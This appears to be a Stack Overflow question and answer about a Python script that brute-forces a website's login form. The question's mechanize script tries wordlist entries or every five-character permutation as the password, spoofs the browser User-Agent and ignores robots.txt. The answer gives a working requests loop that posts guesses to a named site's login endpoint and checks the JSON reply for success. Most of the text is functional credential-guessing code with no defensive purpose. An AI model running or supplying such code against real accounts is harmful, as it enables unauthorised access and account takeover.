1

So, I have this brute-forcing script, that basically brute-forces web forms. Say my example site's web-form redirects to the same URL when logged in successfully or not. For example, to login I'd have to go to this site: https://example.com/account/, when I type a wrong username/password, it doesn't change the URL of the page. Everything stays the same. And if I DO type the correct username & password, it changes the page title, but the URL still stays the same.

I want to change: response.geturl() --> response.gettitle() But I'm not sure what's the correct attribute for this.

My Code:

#!/usr/bin/python
import mechanize
import itertools
import sys
import os

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
ua = 'Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 (compatible;)'
br.addheaders = [('User-Agent', ua), ('Accept', '*/*')]

if len(sys.argv) > 1:
    if os.path.exists(sys.argv[1]):
        combos = [line.strip() for line in open(sys.argv[1])]
    else:
        print "[-] File not found"
        sys.exit()
else:
    combos = itertools.permutations("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",5)

r = br.open("https://example.com/account/")

for x in combos:
    br.select_form(nr = 0)
    br.form['login'] = "my_username"
    br.form['pass'] = ''.join(x)
    print "\033[1;33;48mChecking:"+"\033[1;34;48m",br.form['pass']
    response = br.submit()
    if response.geturl()=="https://example.com/account/":
    #if response.gettitle()==...
        print ""
        print "\033[1;32;48mPassword found:"+"\033[1;36;48m",''.join(x)
        break
Coto TheArcher
  • 367
  • 3
  • 13

1 Answers1

1

This is very simple with requests:

import requests
data ={"login":"yourlogin",
"pass": "yourpass"}


r = requests.post("https://bagar.io/engine/modules/login.php", data=data)
print("success" in r.json())

A successful login returns {u'success': u'allow'} and an unsuccessful return {u'error':lot of unicode...}.

So just keep passing login data:

    for x in combos:
        data = {"login":"my_username",
                "pass":"".join(x)}
        r = requests.post("https://bagar.io/engine/modules/login.php", data=data)
        print("success" in r.json())
Padraic Cunningham
  • 176,452
  • 29
  • 245
  • 321